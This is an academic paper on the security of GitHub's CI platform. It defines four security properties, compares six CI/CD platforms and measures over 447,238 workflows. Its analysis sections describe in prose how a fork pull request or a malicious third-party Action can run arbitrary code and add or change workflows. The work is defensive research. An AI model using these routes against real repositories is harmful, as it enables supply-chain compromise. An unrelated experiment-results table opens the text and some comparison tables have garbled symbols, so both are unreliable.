Exp.8 119 Forward,Hybrid;Forward,Hybrid 1750 29.6% 7.7% 30
Exp.9 156 Forward,Hybrid;Forward,Hybrid 2070 13.5% 21.2% 4
Exp.10 162 Backward,Hybrid;Backward,Hybrid 2141 25.1% 9.6% 24
Exp.11 37 Forward,Hybrid;Forward,Hybrid 450 46.4% 14.8% 31
Exp.12 34 Backward,Hybrid;Backward,Hybrid 727 35.4% 16.7% 25
Exp.13 118 Forward,BFS;Backward;Hybrid 1546 9.6% 18.7% 2
Exp.14 119 Forward,BFS;Forward,BFS 1842 11.6% 14.8% 4
Exp.15 96 Forward,BFS;Forward,BFS 1564 19.3% 17.4% 23
Exp.16 154 Forward,Hybrid;Forward,BFS 2547 10.9% 14.8% 1
Exp.17 80 Forward,BFS;Forward,DFS 1321 23.8% 16.7% 13
Exp.18 48 Forward,Hybrid;Forward,BFS 761 34.8% 10.9% 41
Exp.19 81 Forward,BFS;Backward,BFS 746 40.0% 13.8% 3
Exp.20 48 Forward,Hybrid;Forward,DFS 818 22.5% 21.2% 34
Exp.21 38 Forward,BFS;Forward,BFS 483 47.7% 6.4% 27
Exp.22 43 Backward,DFS;Backward,Hybrid 627 41.2% 20.0% 29
Exp.23 44 Forward,Hybrid;Forward,Hybrid 673 39.3% 16.7% 32
Exp.24 27 Backward,Hybrid;Backward,DFS 462 46.4% 20.6% 30
Exp.25 29 Forward,Hybrid;Forward,Hybrid 634 36.1% 23.8% 45
Exp.26 45 Forward,Hybrid;Forward,Hybrid 789 35.4% 18.0% 27
Exp.27 64 Forward,Hybrid;Forward,Hybrid 835 45.1% 11.6% 21
Exp.28 70 Forward,Hybrid;Forward,BFS 1478 31.6% 10.9% 24
Exp.29 32 Forward,Hybrid;Forward,Hybrid 820 38.7% 14.1% 23
Exp.30 89 Backward,DFS;Backward,Hybrid 1415 14.1% 15.4% 8
Exp.31 171 Forward,Hybrid;Forward,BFS 2115 10.9% 10.9% 26
Exp.32 56 Forward,BFS;Forward,BFS 517 45.8% 14.8% 44
Exp.33 106 Forward,Hybrid;Forward,Hybrid 988 38.0% 17.4% 24

Nov.1 266 Forward,Hybrid;Backward,Hybrid 3330 5.8% 10.3% 2
Nov.2 329 Forward,Hybrid;Forward,BFS 5114 7.7% 6.4% 7
Nov.3 304 Forward,BFS;Forward,BFS 5025 14.1% 8.3% 13
Nov.4 208 Forward,Hybrid;Forward,BFS 3793 12.9% 9.0% 9
Nov.5 260 Forward,Hybrid;Forward,Hybrid 3560 20.0% 5.1% 19
Nov.6 257 Forward,Hybrid;Forward,DFS 4136 8.3% 8.3% 4
Nov.7 264 Forward,Hybrid;Backward,Hybrid 3433 5.1% 9.0% 1
Nov.8 331 Forward,Hybrid;Forward,Hybrid 3805 3.2% 10.9% 0
Nov.9 303 Forward,Hybrid;Forward,Hybrid 3892 16.1% 9.6% 20
Nov.10 415 Forward,Hybrid;Forward,BFS 7602 12.2% 3.8% 10
Nov.11 371 Forward,BFS;Forward,BFS 4796 9.6% 10.3% 8
Nov.12 381 Forward,Hybrid;Backward,Hybrid 4514 16.1% 9.1% 17
Nov.13 258 Forward,Hybrid;Forward,BFS 2374 1.2% 10.3% 0
Nov.14 458 Sequential,Hybrid;Sequential,Hybrid 6955 4.5% 6.4% 1
Nov.15 251 Forward,Hybrid;Backward,BFS 3067 24.5% 14.8% 22
Nov.16 409 Forward,BFS;Forward,BFS 5656 4.5% 9.6% 2
Nov.17 481 Forward,BFS;Sequential,BFS 6270 8.3% 4.5% 9
Nov.18 560 Backward,Hybrid;Sequential,Hybrid 6976 5.1% 7.1% 1
Nov.19 194 Forward,Hybrid;Forward,Hybrid 2791 7.7% 13.5% 1
Nov.20 351 Forward,Hybrid;Forward,Hybrid 3685 4.5% 10.3% 1
Nov.21 301 Forward,Hybrid;Forward,Hybrid 5020 10.3% 10.9% 3
Nov.22 228 Backward,BFS;Backward,Hybrid 2841 16.1% 12.2% 19
Nov.23 300 Forward,BFS;Forward,Hybrid 3091 7.7% 12.3% 6
Nov.24 195 Forward,Hybrid;Forward,Hybrid 2592 6.4% 14.1% 0
Nov.25 261 Forward,Hybrid;Forward,BFS 2510 11.6% 13.5% 3
Nov.26 240 Forward,BFS;Forward,BFS 3050 15.4% 9.6% 11
Nov.27 740 Sequential,Hybrid;Sequential,Hybrid 7879 6.4% 13.1% 8
Nov.28 543 Forward,Hybrid;Sequential,Hybrid 6641 2.5% 7.7% 0
Nov.29 941 Sequential,Hybrid;Sequential,Hybrid 8150 0.0% 1.9% 0
Nov.30 320 Forward,BFS;Forward,BFS 2912 12.5% 7.1% 16
Nov.31 316 Forward,Hybrid;Forward,BFS 2886 18.7% 10.9% 13
Nov.32 234 Forward,Hybrid;Forward,BFS 4048 7.7% 6.4% 3
Nov.33 181 Forward,BFS;Forward,BFS 3445 12.2% 8.3% 10
Nov.34 207 Forward,Hybrid;Forward,Hybrid 2202 29.0% 9.6% 26
Nov.35 513 Forward,BFS;Sequential;Forward,BFS 6233 0.0% 4.5% 0
Nov.36 199 Forward,Hybrid;Forward,Hybrid 3408 18.7% 6.4% 17
Nov.37 178 Forward,BFS;Forward,Hybrid 1618 5.8% 19.3% 3
Nov.38 441 Forward,Hybrid;Sequential,Hybrid 5946 6.4% 8.3% 1
Nov.39 253 Forward,Hybrid;Forward,Hybrid 3486 21.9 10.9% 7
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Abstract

Continuous integration and deployment (CI/CD) has revolu-
tionized software development and maintenance. Commercial
CI/CD platforms provide services for specifying and running
CI/CD actions. However, they present a security risk in
their own right, given their privileged access to secrets,
infrastructure, and ability to fetch and execute arbitrary code.

In this paper, we study the security of the newly popular
GitHub CI platform. We first identify four fundamental security
properties that must hold for any CI/CD system: Admittance
Control, Execution Control, Code Control, and Access to Se-
crets. We then examine if GitHub CI enforces these properties
in comparison with the other five popular CI/CD platforms. We
perform a comprehensive analysis of 447,238 workflows span-
ning 213,854 GitHub repositories. We made several disturbing
observations. Our analysis shows that 99.8% of workflows
are overprivileged and have read-write access (instead of read-
only) to the repository. In addition, 23.7% of workflows are
triggerable by a pull_request and use code from the underly-
ing repository. An attacker can exploit these workflows and
execute arbitrary code as part of the workflow. Due to the mod-
ular nature of workflows, we find that 99.7% of repositories in
our dataset execute some externally developed plugin, called
"Actions"1, for various purposes. We found that 97% of reposi-
tories execute at least one Action that does not originate with a
verified creator, and 18% of repositories in our dataset execute
at least one Action with missing security updates. These repre-
sent potential attack vectors that can be used to compromise
the execution of workflows, consequently leading to supply
chain attacks. This work highlights the systemic risks inherent
in CI/CD platforms like GitHub CI; we also present our own
Github action, GWChecker, which functions as an early warn-
ing system for bad practices that violate the identified security
properties.

1In the rest of the paper, we use "plugins" to refer to Actions in GitHub CI

1 Introduction

Continuous Integration and Delivery [41], commonly referred
to as CI/CD, are software development practices that involve
automating integration, testing, and delivery of software in
a consistent, regular and automated manner. CI/CD pipelines,
in addition to increasing efficiency, also reduce costs for
the organization [40]. Consequently, the adoption of CI/CD
pipelines is increasing rapidly [7, 38]. There exist several
CI/CD services (TravisCI [19], CircleCI [4], Gitlab CI [17],
and more) that enable developers to set up their CI/CD pipeline
quickly. Developers need to provide specific configuration
parameters about how the software is built and tested. Further-
more, developers use these CI/CD services to automatically
deploy the software to corresponding code repositories such
as Python Package Index (PIP) [15] or Debian repository [6].

The ease of CI/CD adoption, thanks to third-party services,
has its trade-offs. Now developers need to trust third-party
CI/CD services to secure the code, artifacts, and secrets from
supply-chain attacks [59]. These attacks could have devastative
effects, as demonstrated by the recent SolarWinds [18] attack.
It is essential to ensure that CI/CD pipelines are correctly
configured and do not have any security vulnerabilities.
Unfortunately, developers are known to misconfigure their
CI/CD pipelines [61,62]. The CI/CD infrastructure itself could
have security vulnerabilities [51] jeopardizing the security of
all the repositories using the corresponding infrastructure.

In late 2018, GitHub introduced a new CI/CD infrastruc-
ture called GitHub CI2, which enables developers to create
CI/CD pipelines called GitHub Workflows3, which enables
developers to define their pipelines by specifying a sequence of
steps in a YAML file. The workflows are tightly integrated with
the GitHub ecosystem and their execution can be controlled
through various events such as pull or push. The workflows
can also use Actions, which are modules written by other users

2GitHub’s CI/CD product is called GitHub Actions. However, to avoid any
confusion with actions (the external modules that can be used in workflows),
we use GitHub CI instead.

3In the rest of the paper we use "workflows" to refer to GitHub Workflows
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and available as public repositories on GitHub. These Actions
are similar to libraries in software development and encompass
commonly used tasks such as building a cmake project (Sec-
tion 2.2). Furthermore, for each repository, GitHub provides
helpful free resources (compute and storage) [1] to run Work-
flows. In addition to the features mentioned above, there are
many other advantages of GitHub CI in comparison with
other CI/CD services [11]. Consequently, since its introduc-
tion, GitHub CI has gained tremendous popularity, and develop-
ers are rapidly moving their CI/CD pipelines to GitHub CI [45].

Even large, security-aware organizations such as NSA [50],
Bootstrap [60], Microsoft [48], and LLVM Project [46] have
also started using workflows for their CI/CD.

Given its popularity and adoption, it is crucial to ensure
that GitHub CI ecosystem is secure. The tight integration
between workflows and GitHub ecosystem, in addition to
enabling developers to streamline their CI/CD pipeline,
unfortunately, also introduces new attack vectors, especially
those related to supply chain attacks. For instance, an attacker
can create a pull request and make a misconfigured workflow
to perform a deployment based on the attacker’s code.
A more realistic example would be the recent backdoor
introducing commit [14] in PHP which might have triggered
a deployment workflow, thereby publishing the backdoored
interpreter to official repositories. We identified4 that you
can execute arbitrary code using that pull request trigger,
which was actively used to perform crypto-mining attacks.
Recently, GitHub fixed this issue [12]. Despite these growing
attacks, unfortunately, there is no work in understanding and
analyzing the security risks associated with GitHub CI.

In this paper, we perform the first thorough security analysis
of GitHub CI ecosystem and answer these research questions:

RQ1: What are the security properties (SPs) that need to
hold to have a secure CI/CD? (Section 3.1)

RQ2: How does GitHub CI compare to other public CI/CD
platforms according to SPs? (Sections 3.2 and 3.3)

RQ3: How does usage behavior of workflows affect GitHub
CI SPs? (Section 5)

In order to answer these questions, we started by understand-
ing the GitHub CI execution mechanisms and formulating
the required security properties and corresponding necessary
conditions. We further referred to the available documentation
and reverse-engineered the workflow execution environment.
Our analysis resulted in the identification of various attack
vectors and security flaws in GitHub workflow execution.
The details of the possible attack vectors are accompanied by
Proofs-of-Concept (PoC), demonstrating the feasibility and
impact of exploiting the attack vector.

Second, we perform a comprehensive evaluation of 447,238
GitHub Workflows spanning 213,854 repositories. We identi-
fied various exciting observations regarding workflows’ usages
and the developers’ common flaws in their workflow design.

4This was also simultaneously discovered by another researcher [13]

We observed that 96.7% of analyzed repositories depend on
third-party code i.e., third-party actions or docker containers,
where 38,315 of them depend on third-party actions with
at least one active security vulnerability. Furthermore, in
146,803 of workflows an attacker can execute arbitrary code
as part of the workflow by just raising a pull request. All our
findings have been reported and acknowledged by the GitHub
security team and repository owners of the workflows missing
a security property.

We conclude by suggesting various defense-in-depth
mechanisms to secure GitHub Workflows (Section 5).

This paper makes the following contributions:
• We identify the necessary security properties for CI/CD

platforms that must hold to protect infrastructure from
software supply chain attacks. (Section 3.1)

• Analysis of the five most popular CI/CD platforms against
the four identified security properties. (Section 3.3)

• In-depth analysis of security risks of GitHub CI. We build
an extended list of attack scenarios against repositories
that use untrustful or vulnerable third-party actions
hosted on Github (Section 3.3)

• Extensive analysis of public repositories that use GitHub
CI. We found that 18% of repositories in our dataset use
vulnerable third-party actions, and less than 2% of all
repositories follow the security guidelines provided by
Github regarding commit hash references (Section 5)

2 GitHub CI Overview

GitHub CI5 is a continuous integration (CI) and continuous
development (CD) framework built into GitHub that was intro-
duced in 2018. It can be enabled on a GitHub repository (private
or public) through Settings →Actions in the repository web-
page. GitHub CI enables developers to create Workflows. Each
workflow describes a set of tasks that needed to be performed as
part of its execution. Individual repositories may contain multi-
ple workflows configured to automate part of the development
process, e.g., greeting new collaborators, testing, or deploying.

2.1 Workflow Configuration Syntax
A GitHub Workflow is described in YAML format by creating
a file under the .github/workflows directory of the repository.
Below is an explanation of the workflow syntax used by the
sample workflow in Listing 1.
Execution Triggers: A workflow has one or more execution
triggers (on) that specify when or which events on the
repository should trigger the execution of the workflow. Our
example workflow (Listing 1) will be executed when either
a push or pull event occurs on the main branch and every day

5Github’s CI/CD product is called GitHub Actions. To avoid any confusion
with actions (the external modules of workflows), we use GitHub CI instead.
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Figure 1: GitHub workflow architecture. When workflow is
triggered by execution triggers, it will start the execution of one
or more jobs in separate VMs. Each job consists of steps that are
executed in the defined order. Steps can be a shell commands,
third-party actions, external programs, docker containers

at 5 am UTC as specified by the cron timestamp. Workflows
can also be triggered manually or through webhooks [9].
Jobs: Figure 1 shows the execution flow of a workflow,
which is a collection of one or more jobs (jobs) that run in
isolation on newly spawned virtual machines. Jobs can be
made explicitly dependent (needs) on other jobs, wherein
the dependent job(s) will be executed first before the current
job. The workflow in Listing 1 has two jobs: build and test.
The test job depends on build job, so the build job runs first.
Note that GitHub does not allow cyclic dependencies, and thus
any workflow having cyclic dependencies will not be executed.
Machine Configuration: Jobs need to specify the required
machine configuration (runs-on) on which the job can
be executed. In Listing 1, both jobs need to be run on
a ubuntu-latest machine. GitHub provides labels for
various well-maintained machine configurations [2], with the
latest software packages. The developers can also use the label
of a self-hosted machine with the custom configuration [3].
In this case, however, it is the responsibility of the repository
owners to maintain the self-hosted machines, including
installing the latest security patches to avoid security breaches.
Steps: Each job is a sequence of one or more steps (steps).
The steps of a job are executed sequentially in the order spec-
ified in the YAML file. For instance, in Listing 1, the build job
contains four steps and are executed in the order 1 , 2 , 3 ,
and, 4 . A step can be a sequence of run commands (e.g., 2 ,
and 5 ), where the provided commands (specified with tag
run ) will be executed using the default shell of the machine.
For instance, step 2 in Listing 1( i.e., sudo./build.sh) will
be executed as a shell command on ubuntu. Note that the de-
veloper needs to make sure that all the files (i.e., build.sh)
needed to execute the command are available in the system path.
In this case,build.sh is part of the repository, and it is checked
out using a GitHub action ( 1 ), we will explore this next.

name: MyWorkflow ← Workflow Name

on: ← Execution Triggers
# Workflow triggers on push
# and pull requests to the main branch
push:
branches: [ main ]

pull_request:
branches: [ main ]

# Also, workflow gets executed every day at 5 am UTC
schedule:
- cron: "0 5 * * *"

jobs: ← All Jobs in the Workflow

build: ← Job (Name: Build)

runs-on: ubuntu-latest ← Job's Machine configuration

steps: ← All Steps in the Job
# The following steps are executed sequentially

# Check out the current repository
# on default branch
- name: Checkout the repository 1
uses: actions/checkout@v2

# Execute the given command using shell
- name: Build Project 2
run: sudo ./build.sh

# Execute action defined in the current repository
- name: Local Action 3
uses: ../path/to/action@v2
with:
apikey: ${{secrets.API_KEY}} µ

# Perform static analysis of all source files
# in the repository using an action from
# its public GitHub URL.
- uses: microsoft/devskim-action@45bc8e9 4
with:
directory-to-scan: .
output-directory: scanneroutput

test: ← Job (Name: Test)

needs: build ← Dependent jobs
runs-on: ubuntu-latest

steps:
- name: Test Project 5
run: sudo ./test.sh

Listing 1: Example of the workflow configuration file. The
workflow contains two jobs (build, test), and uses two third-
party actions.

2.2 GitHub Actions

To support modularity and code reuse, GitHub CI workflow
can references externally defined modules, called actions, as
a step inside the job. Listing 1 shows examples of reference
to a GitHub Action (e.g., 1 , 3 and 4 ), with the field uses.
Actions encapsulate commonly used tasks such as building
a cmake project, deploying a Python package to PyPI repos-
itory, etc. For instance, the action actions/checkout@v2
( 1 ) in Listing 1 performs gitcheckout of the default branch
of the current repository into the current directory.

A developer can write custom actions in their workflow or
share the action with the GitHub community by making the
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corresponding repository public. To publish an action to the
GitHub Marketplace, the developer only needs to set up 2FA
on their account. There is no reviewing process for the actions
published in the Marketplace. An action is created by creating
action.yml or action.yaml, a YAML file which defines the
inputs, outputs, and main entry point for the action. An action
encapsulates code that performs the specified task on the
given input and produces the desired output. For example,
the action microsoft/devskim-action performs static
analysis on all the source files in a given directory as shown
in Listing 1. An action can be written in any language or could
be a pre-built binary. However, GitHub provides additional
support for actions written in JavaScript or encapsulated using
Docker containers.

A step can use a local action (defined in the current reposi-
tory) or an external public action using the corresponding repos-
itory path. An action is specified as <path>@<reference>.
Here, <path> is a relative file path in case of local action or
URL relative to github.com in the case of external action.
<reference> is a commit reference, which can be a tag, a
branch name, or a commit hash. For instance, the steps 3

of Listing 1 use a local action with path ../path/to/action
relative to the location of the workflow file. Similarly, 2 use
an external action with path microsoft/devskim-action
(i.e., repository path github.com/microsoft/devskim-
action). Note, that in steps 1 and 3 the action is referenced
using a commit tag i.e., v2, whereas in step 4 , the action is
referenced using a commit hash (45bc8e9).
GitHub Secrets: An action can require an input that could be
a secret, such as an APIKEY or password for a PyPI repository.
To pass the sensitive information to individual steps without
revealing them in plain text, GitHub provides support
for Secrets [8, 16]. Repository owners can define secrets as
key-value pairs, where the key is the name for the secret and
should be unique for a repository and the value contains the
corresponding sensitive information. Workflows can use a
secret by using ${{secrets.<key>}}. During workflow
execution GitHub runner will replace ${{secrets.<key>}}
with the value of the <key> secret. In Listing 1, as indicated
by µ, API_KEY (a secret) is passed to the local action using
Github Secrets. It is expected that GitHub will only pass the
provided secret to the specified action.

3 GitHub CI Security Analysis

Figure 1 also has marked (with a devil icon) externally
controlled entities which are the points through which a
workflow execution could be affected by an external or ma-
licious user, who need not be the owner of the repository. For
instance, an attacker can trigger the execution of the workflow
in Listing 1 by creating a pull request. Similarly, if the action
microsoft/devskim-action has a vulnerability, then it can
be used to gain complete control of the workflow execution.
This is because, as mentioned before, each step runs with

admin privileges.
In this section, we (1) define generic security properties that

can be applied to any CI/CD pipeline, (2) compare differences
in features that are relevant to the security of pipeline between
GitHub CI and other CI/CD platforms (3) discuss how these
features affect the security properties of GitHub CI and other
CI/CD platforms.

3.1 Security Properties
A CI/CD infrastructure is primarily meant to perform continu-
ous integration tasks such as testing and/or deploying the tested
code. Consequently, CI/CD infrastructure should have at least
the following capabilities w.r.t to the underlying source code
repository i.e., ability to read the contents of the repository
and write to the deployments. These are, in fact, the only
capabilities that are needed for CI/CD infrastructure to be able
to achieve the "majority" of its goals. Because from a security
perspective, according to the principle of least privilege [54],
CI/CD infrastructure should not have write access to the
code repository i.e., it should not be able to perform any code
changes6. However, during the security analysis of GitHub CI
we observed that by default all workflows have write access
to the repository code (See Table 1) even though workflows is
triggered by less important events such as issue, comment etc,
which violates the principle of least privilege. In other words,
by default, any code running as part of the workflow in GitHub
CI has write access to the repository code.

Considering the least privilege principle we want to ensure
that only authorized users are able to perform the following
tasks in the context of CI/CD pipeline7:

• Admittance Control (AC): Only people with the right
permissions must be able to add, delete, or modify work-
flows to the repository. Otherwise, an attacker can
add a workflow to hijack the resources of the CI/CD
pipeline, delete/modify existing workflows to disrupt the
automation.

• Execution Control (EC): To configure events that trigger
the execution of workflows. Here, the intuition is that
a workflow could be performing writes or deployments.
The ability to change triggers for such deployment work-
flows could allow users to deploy from arbitrary and
untested commits resulting in unstable and potentially
buggy deployments.

• Code Control (CC): To control which code runs as part
of a workflow. For instance, code (binaries, scripts)
that runs in the CI/CD should not behave unpredictably
and be consistent from one run to another. After initial
configuration, the pipeline must be immutable and
perform the task with predictable results.

6May be with the exception of some files related to testing
7We define authorized users as the organization members, owners or

outside collaborators with write permission [27] to the repository
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• Access to Secrets (AS): To avoid misuse of secrets, it is
important to ensure that a secret can be accessed by only
those steps to which it is explicitly passed. We want to
ensure that these secrets are handled properly by using
when explicitly specified in a workflow.

We apply these security properties to other CI/CD platforms
as well, to compare them to GitHub CI in future sections.

3.2 GitHub CI vs Others: Features

The biggest difference of GitHub CI from other CI/CD
platforms is its wide permission of the pipeline (Table 1) and
plugin system that has higher privileges (Table 2).
Permissions. In GitHub CI, by default, all workflows have
write permissions to the entire repository as shown in Table 1.
Thus, any vulnerable or malicious code in a workflow can
directly affect the repository (including code). On the other
hand, Gitlab CI does not provide write permission to the
(internal) repository code for the pipeline by default. To be
able to write to the repository from a pipeline, developers must
configure the deployment keys for the repository, and pass the
key to the pipeline.

Permissions
CI/CD Platforms Code read Code write

TravisCI ○Ë èé

CircleCI ○Ë èé

Jenkins ○Ë ○é

Gitlab CI external ○Ë èé

Gitlab CI internal ○Ë +Ë

GitHub CI ○Ë ○é

Table 1: The table shows the default read-write permission
to the code by different CI/CD platforms. Open circle (+)
- means no. Filled circle (○) - means yes. Half circle (è) -
means lowest permission possible but are restricted by options
provided by external VCS. Note that Gitlab CI has two rows
for external projects and internal projects. The markingsé and
Ë on top of the circles indicate over-privileged and expected
privileges respectively.

Another interesting finding was that external CI/CD
platforms such as TravisCI, CircleCI, and Gitlab-CI follow the
principle of least privilege and request only the required per-
missions. For example for Bitbucket [57] and Gitlab [28] VCS
TravisCI [29] and CircleCI [26] request read-only permission
to the code. However, in the case of GitHub, external CI/CD
platforms can only request repo scoped token, which grants
full access to the private and public repositories of the user.
In other words, if someone is using external CI/CD platforms
with GitHub he/she is exposed to more security risk compared
to when CI/CD platform is used with other VCS providers.

Plugins
CI/CD Platforms First-party Third-party Mutable Review

TravisCI ○Ë èé +Ë +é

CircleCI ○Ë ○é +Ë +é

Jenkins +Ë ○é +Ë +é

Gitlab CI external ○Ë +Ë +Ë +é

Gitlab CI internal ○Ë +Ë +Ë +é

GitHub CI ○Ë ○é ○é +é

Table 2: Different CI/CD platforms plugin support. Here
mutable means referenced (installed) plugin can change
without changing its reference. Open circle (+) - means no.
Filled circle (○) - means yes. Half circle (è) - means the capa-
bility of plugins are limited by what is available by API. The
markings é and Ë on top of the circles indicate whether the
corresponding support is bad or good for security respectively.

Plugins. GitHub CI plugin system significantly differs from
other CI/CD platform’s plugin systems because of the ability
to include a plugin into the workflow by just referencing the
repository. CircleCI also provides the ability to reference
a plugin (called Orbs) using a repository. However, the
main difference between them is that plugins in CircleCI
are immutable after referencing, while GitHub CI plugin
references are highly mutable. We define a mutable plugin
as one that can change its behavior from one run to another.
Mutable plugins are a threat to the overall security of the
CI/CD pipeline since developers can not verify and pinpoint
the execution of the pipeline. Thus, making the results of the
CI/CD pipeline runs potentially unpredictable.
Referencing plugins. As described in Section 2, a workflow
can reference a plugin by using branch name, tag, or commit
hash. We consider tag and branch name to be dynamic
references because they can change over time i.e., developer
of the action repository can modify the tag to point to a
different commit. Thus, the action referenced by dynamic
references can potentially change the runtime behavior of the
corresponding workflow.

On the other hand, the commit hash is a static or immutable
reference as it does not change with time. Here, the action’s
code is fixed and remains the same over all the executions of
the workflow. However, during our security evaluation, we
found that under certain conditions, an adversary can change
the behavior of a commit hash referenced action (Section 5).

Even though GitHub CI advises everybody to use commit
hash to reference actions, we show in Section 5 that only a
handful of people follow the advice.

Despite the similarity of the concept of plugin for CircleCI,
and GitHub CI, CircleCI employs semantic versioning for
the plugin (called orbs) and makes sure that references to the
certain version (i.e., 1.2.3) of the plugin return exactly the
same code always, i.e., immutable. In CircleCI, developers
can publish volatile (mutable) plugins for easy development.
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However, CircleCI automatically deletes the mutable reference
after 90 days. Other CI/CD platforms that support third-party
plugins are (1) limited to providing only functionality that can
be achieved with CI/CD platform API endpoint (TravisCI),
or (2) require server administrator privileges to modify the
plugins (Jenkins).

Gitlab CI only supports first-party plugins covering
almost all essential CI/CD pipeline functionality, including
deployment, testing, and maintenance. Their philosophy is
that developers must not trust third-party plugins for essential
functionalities. Gitlab CI does not provide the third-party
plugin system citing quality and security degradation [23].
Plugin Review. Unfortunately, as seen in Table 2, none of
the CI/CD platforms that support plugins have a review
mechanism in place to check the quality of the third-party
plugins. We believe having some level review process for the
plugins will significantly improve the quality and security of
the overall pipeline.

In summary, GitHub CI’s by default wide permission (write
to the code) combined with its plugin system warrants a
thorough analysis of the security properties of GitHub CI. In
addition to the mutability, third-party actions run with sudo
privileges in GitHub CI (as discussed in Section 2) making
the security analysis even more important.

3.3 GitHub CI vs Others: Security Properties
In this section, we analyze the necessary CI/CD security prop-
erties of GitHub CI in comparison with other platforms. Table 3
shows the summary of this comparison. We present a detailed
analysis of each security property in the following subsections.

3.3.1 Admittance Control

Here, we want to ensure that only authorized users should
be able to admit (add, delete, or modify) a workflow into the
repository.

Importance. Verifying who is introducing new work-
flows or modifying the existing ones is crucial in
securing pipelines. This is needed because, by admitting
new workflows into CI/CD pipeline malicious users
can exploit the pipeline to set up a botnet, perform
cryptomining or "eat up" resources of the organization.

In all of the tested CI/CD platforms, configuration files
reside together with the code in the VCS. Thus, only authorized
users can admit a new workflow into the pipeline through
access to the repository (C1).
Restriction on adding new workflows through CI/CD
runs (C2). However, since GitHub CI (and Jenkins) provides
write permission to the workflow by default, if the workflow
is compromised during the execution of the pipeline, e.g.,
through vulnerable and/or malicious third-party action, an
attacker can introduce a new workflow into the pipeline

using workflow’s wide permissions. We developed a proof-
of-concept action that introduces a new workflow to the
pipeline [20]. This is a classic example of the confused deputy
problem when unauthorized users elevate their privileges by
using an intermediate application with higher privilege.
Executing workflows from a PR after merging (C3). An-
other way of introducing a new workflow is through a pull
request (PR). We noticed that a pull request that adds a new
workflow could be executed as part of the repository before
the pull request is merged into the repository. Consequently,
users who can raise a pull request can run arbitrary work-
flows as part of the repository. To exploit this, an attacker first
forks the target repository into the attacker-controlled account.
Next, the attacker modifies the local repository by adding a
new workflow (say attackwf) with pull_request being one
of the execution triggers. The steps of attackwf execute ar-
bitrary code needed by the attacker. Finally, a pull request
will be raised from the local repository to the target reposi-
tory. This causes the attacker added workflow i.e., attackwf
to be executed as part of the target repository. This behavior is
available in GitHub CI, Gitlab CI, CircleCI, and Jenkins. Re-
cently, to prevent malicious usage of the feature from hijacking
the resources GitHub CI and Gitlab CI disables the execution
of newly created workflow if the request comes from a first-
time contributor. This was in response to crypto mining cam-
paigns [12] that were discovered by another researcher [13].
The summary of our analysis is shown in the first row of Table 3.

3.3.2 Execution Control

As mentioned in Section 2, we also want which events to
trigger a workflow execution to be controlled by authorized
(i.e., with write access) users.

Importance. This is required as the workflows can
be used for automated deployment, which should be
allowed only for users with write access.

Except for GitHub CI and Gitlab-CI, all other CI/CD
platforms do not store the trigger events in their configuration
files. This prevents modification of the configuration file
by contributors. Developers can change the triggers only by
using the dashboard of the corresponding platform (C4). Also,
except GitHub CI, all platforms have a limited number of
triggers, such as push and pull-request events. GitHub CI has
a plethora of events that can be used to trigger the workflow,
such as issue creation, comment, etc. We noticed that a
workflow executes with write permissions even if triggered
by a "low" important event such as a comment on an issue.
Restriction on modifying execution triggers through
CI/CD runs (C5). As explained in Section 2, triggers for
a workflow are specified in the corresponding YAML file using
on tag, which can only be modified by the users with write
access. However, similar to C2 (Section 3.3.1), as workflows
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TravisCI CircleCI Jenkins Gitlab CI extrernal Gitlab CI internal Github CI

Admittance Control
(C1) Contributor can add workflow ○ ○ ○ ○ ○ ○
(C2) CI/CD run can NOT add new workflow ○ ○ + ○ ○ +w

(C3) Executes workflow from PR only after merge ○ è + ○ è èw

Execution Control (C4) Contributors can modify the triggers ○ ○ ○ ○ ○ ○
(C5) CI/CD run can NOT modify the triggers ○ ○ + ○ ○ +w

Code Control (C6) CI/CD run can NOT modify the code ○ ○ + ○ ○ +w

(C7) CI/CD run is deterministic based on config ○ ○ ○ ○ ○ +w

Access to Secrets
(C8) Masked ○ ○ è ○ ○ ○
(C9) Accessible only to explicitly authorized steps + + è ○ ○ +
(C10) Restricted from pull requests ○ è è ○ è èw

Table 3: Comparison of five different CI/CD platforms in four security properties (AC, EC, CC, AS). Open circle (+) - means
no. Filled circle (○) - means yes. Half circle (è) - means developers can configure the feature in config file or by using plugin.
The shades of red indicate conditions violating the security property in corresponding platforms. The marker W indicates whether
the condition is workflow or configuration dependent.

execute with write permissions, a malicious and/or vulnerable
action in a workflow can change the trigger of an workflow.

3.3.3 Code Control

As mentioned earlier, Code Control is a security property that
controls the code that runs as part of the CI/CD pipeline, such
as binaries, plugins, and other things.

Importance. Any code that runs as part of a workflow
must be trusted. Running untrusted code could have
devastating effects. For instance, an untrusted command
or action can tamper with the environment, e.g., by
changing the default registry used by package managers
such as npm, thereby affecting all the steps that install
packages from npm.

The plugin system of CI/CD platforms contributes most to
the CC security property.
Restriction on changing code through CI/CD runs (C6).
The plugins are part of the config (i.e., workflow) file of CI/CD
platforms. In platforms Jenkins and GitHub CI, CI/CD runs
with write permissions (Section 3.3.1). Hence, a malicious
and/or vulnerable action in a workflow can modify the code
executed as part of the workflow by changing the plugin name
or can introduce a new workflow with the required plugin.
Code control without modifying config (C7). As discussed
in Section 3.2 GitHub CI has the most controversial plugin
system. The third-party plugins in GitHub CI are mutable,
which makes the GitHub’s workflow runs unpredictable
compared to other platforms as shown in Table 3. Also, as
mentioned in Section 2, in GitHub CI every step executes with
admin privileges. Consequently, any code that runs as part of
a step has complete control of the underlying machine.

Given that these actions run with admin privileges, it is
important to ensure that the code within these actions can be
trusted. We consider the local actions to be trusted as they are
part of the current repository. However, the developers need
to be careful regarding the external actions.

Trusted vs. Untrusted action creators. As described
in Section 2.2, anyone can create an action by creating ac-
tion.yml file in their public repository. Some of the actions
creators (e.g., Microsoft, CheckMark) are verified, which
means GitHub trusts these creators, and we consider that
the actions developed by them as trusted. However, while
using the actions from unverified creators, it is better to use
static reference (i.e., commit hash) for the action as it restricts
the creator from changing the code. In summary, workflows
should always try to use actions from verified creators, and
actions from unverified creators should always be statically
referred. This is also what GitHub suggests in their official
documentation [16]. However, as we show in Section 5,
developers seldom practice this, making their workflows wide
open to be influenced by unverified developers.
Vulnerabilities in actions (C7). Finally, irrespective of
the type of creators, the actions themselves could have
security vulnerabilities making the workflow vulnerable and
consequently leading to supply-chain attacks. As we show
in Section 5, this is rampant, and many workflows are using
actions with known vulnerabilities.

3.3.4 Access to Secrets

As discussed before Access to Secrets security property is
about how CI/CD handles sensitive information.

Importance Developers may need to pass sensitive
information (e.g., API_KEY) to steps of a workflow to
perform certain authorized tasks such as deployment to a
PIP repository. As shown by the previous work [52, 64],
the sensitive information should not be hardcoded
in the repository files as everyone can read them. If
CI/CD pipeline mishandles the sensitive information and
malicious actor access the secrets, she can compromise
